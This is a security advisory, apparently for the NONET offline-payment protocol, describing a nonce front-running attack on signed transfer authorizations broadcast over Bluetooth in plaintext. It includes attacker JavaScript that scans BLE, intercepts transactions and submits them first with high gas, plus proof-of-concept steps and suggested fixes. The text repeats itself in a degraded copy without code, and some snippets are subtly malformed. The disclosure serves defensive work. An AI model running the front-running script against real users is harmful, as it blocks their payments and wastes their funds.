CVE-2025-002: Nonce Exhaustion Attack via Plaintext BLE Broadcast
Basic Info
- Vulnerability: Nonce front-running attack
- Severity: CRITICAL (9.1/10)
- Attack Cost: Low (just needs BLE receiver + internet)
- Affected: NONET protocol + the current implementation of
contracts/AuthAndMintToken.sol & contracts/EIPThreeDoubleZeroNine.sol
The Problem
NONET broadcasts signed transactions over Bluetooth as plaintext. Anyone nearby can read the transaction details including the nonce. Since blockchain nonces are single-use, an attacker can just submit the same signed transaction first and exhaust the nonce, making the victim's transaction permanently fail or just submit a random tx in the same nonce.
Technical Details
What Gets Exposed Over BLE
// This is broadcast in plaintext over Bluetooth:
{
"from": "0x742d35Cc6634C0532925a3b8D2C0C0532925a3b8",
"to": "0x8ba1f109551bD432803012645Hac136c0532925a3",
"value": "1000000000000000000",
"validAfter": 1704153600,
"validBefore": 1704240000,
"nonce": "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef",
"signature": "0x..."
}
The Smart Contract Check
function transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
bytes calldata signature
) public {
require(_authorizationUsed.add(nonce), "SimpleAuth: nonce used");
// ... signature verification
_transfer(from, to, value);
}
Once a nonce is used, it's marked in the _authorizationUsed set. Any future attempt with the same nonce fails.
Attack Flow
[Victim Device] --BLE--> [Attacker Device] --Internet--> [Blockchain]
| | |
| (intercepts tx) |
| | |
| (submits first) |
| | (nonce marked used)
| | |
[Victim Gateway] -----------Internet------------------------> [Blockchain]
(REJECTED: nonce used)
Attack Scenarios
Scenario 1: Systematic DOS
// Attacker code
bleScanner.on('transaction', async (tx) => {
// Intercept every transaction on mesh
const parsedTx = JSON.parse(tx.payload);
// Submit to blockchain immediately with high gas
await web3.eth.sendSignedTransaction({
...parsedTx,
gasPrice: web3.utils.toWei('100', 'gwei') // Pay more to get mined first
});
console.log(`Exhausted nonce: ${parsedTx.nonce}`);
});
Result: Every offline user's transaction fails when it finally reaches blockchain.
Scenario 2: Transaction Hijacking
Even worse, the attacker could modify parameters before submitting:
// Change recipient to attacker's address
parsedTx.to = attackerAddress;
// But keep original signature and nonce
// This WON'T work because signature validation will fail
// HOWEVER, attacker can still DOS by submitting original tx first
Scenario 3: Marketplace Attack
- Attacker sits near a marketplace using NONET
- Customers think they're paying merchants
- All payments fail due to exhausted nonces
- Marketplace loses all credibility
Why This is Unfixable at Smart Contract Level
The contract is doing everything right:
- ✅ Checking nonce uniqueness
- ✅ Verifying signatures
- ✅ Checking time bounds
The problem is architectural: signing offline + broadcasting plaintext + delayed submission = guaranteed race condition.
Impact
- Denial of Service: 100% transaction failure rate possible
- Financial Loss: Gas fees paid for transactions that will never succeed
- Network Unusable: No one can trust NONET for real payments
- Reputation Damage: Users lose faith in the protocol
Why Random Nonces Don't Help
Even with cryptographically random nonces:
- Victim generates random nonce
0xABC...
- Signs transaction with that nonce
- Broadcasts over BLE (plaintext)
- Attacker sees
0xABC... and uses it first
- Victim's gateway fails to submit
The randomness doesn't matter if the attacker sees it before the blockchain does.
Proof of Concept
Attacker Setup
const BleManager = require('react-native-ble-plx');
const Web3 = require('web3');
const web3 = new Web3('https://sepolia.infura.io/v3/YOUR_KEY');
// Listen for NONET transactions
const manager = new BleManager.BleManager();
manager.startDeviceScan(null, null, async (error, device) => {
if (device.name === 'NONET') {
const txData = parseNonetPacket(device.manufacturerData);
// Front-run the transaction
await web3.eth.sendTransaction({
from: attackerAddress,
to: contractAddress,
data: encodeFunctionCall('transferWithAuthorization', txData),
gas: 200000,
gasPrice: web3.utils.toWei('200', 'gwei') // Ensure we're first
});
console.log('Nonce exhausted:', txData.nonce);
}
});
Testing
- Deploy contract to Sepolia
- Run attacker script
- Send transaction via NONET
- Observe: attacker's submission succeeds, victim's fails
Recommended Fixes
Short-term: Encrypt the Payload
// Sender side
const sharedSecret = deriveSharedSecret(gatewayPublicKey, senderPrivateKey);
const encryptedTx = encrypt(transactionData, sharedSecret);
// Only gateway can decrypt and submit
// Other relays just forward encrypted blob
Long-term: Commitment Scheme
mapping(bytes32 => uint256) public commitments;
function commitTransaction(bytes32 commitment) public {
commitments[commitment] = block.timestamp;
}
function executeWithReveal(
address from,
address to,
uint256 value,
bytes32 nonce,
bytes calldata signature
) public {
bytes32 commitment = keccak256(abi.encode(from, to, value, nonce));
require(commitments[commitment] > 0, "No commitment");
require(block.timestamp >= commitments[commitment] + 10, "Too early");
// Now execute safely
}
This forces everyone to commit first, then reveal after delay.
Alternative: Trusted Gateway Registry
mapping(address => bool) public trustedGateways;
function transferWithAuthorization(...) public {
require(trustedGateways[msg.sender], "Untrusted gateway");
// ... rest of logic
}
Only pre-approved gateways can submit. Bad actors get removed.
Developer Notes
As a Solidity dev, I've seen this pattern before: off-chain signing + delayed submission = race conditions. The contract itself is secure, but the system design creates an exploitable window.
Similar issues exist in:
- Gasless transaction relayers
- Meta-transaction services
- Any system where signed messages are public before execution
Mitigation Checklist
References
CVE-2025-002: Nonce Exhaustion Attack via Plaintext BLE Broadcast
Basic Info
contracts/AuthAndMintToken.sol&contracts/EIPThreeDoubleZeroNine.solThe Problem
NONET broadcasts signed transactions over Bluetooth as plaintext. Anyone nearby can read the transaction details including the nonce. Since blockchain nonces are single-use, an attacker can just submit the same signed transaction first and exhaust the nonce, making the victim's transaction permanently fail or just submit a random tx in the same nonce.
Technical Details
What Gets Exposed Over BLE
The Smart Contract Check
Once a nonce is used, it's marked in the
_authorizationUsedset. Any future attempt with the same nonce fails.Attack Flow
Attack Scenarios
Scenario 1: Systematic DOS
Result: Every offline user's transaction fails when it finally reaches blockchain.
Scenario 2: Transaction Hijacking
Even worse, the attacker could modify parameters before submitting:
Scenario 3: Marketplace Attack
Why This is Unfixable at Smart Contract Level
The contract is doing everything right:
The problem is architectural: signing offline + broadcasting plaintext + delayed submission = guaranteed race condition.
Impact
Why Random Nonces Don't Help
Even with cryptographically random nonces:
0xABC...0xABC...and uses it firstThe randomness doesn't matter if the attacker sees it before the blockchain does.
Proof of Concept
Attacker Setup
Testing
Recommended Fixes
Short-term: Encrypt the Payload
Long-term: Commitment Scheme
This forces everyone to commit first, then reveal after delay.
Alternative: Trusted Gateway Registry
Only pre-approved gateways can submit. Bad actors get removed.
Developer Notes
As a Solidity dev, I've seen this pattern before: off-chain signing + delayed submission = race conditions. The contract itself is secure, but the system design creates an exploitable window.
Similar issues exist in:
Mitigation Checklist
References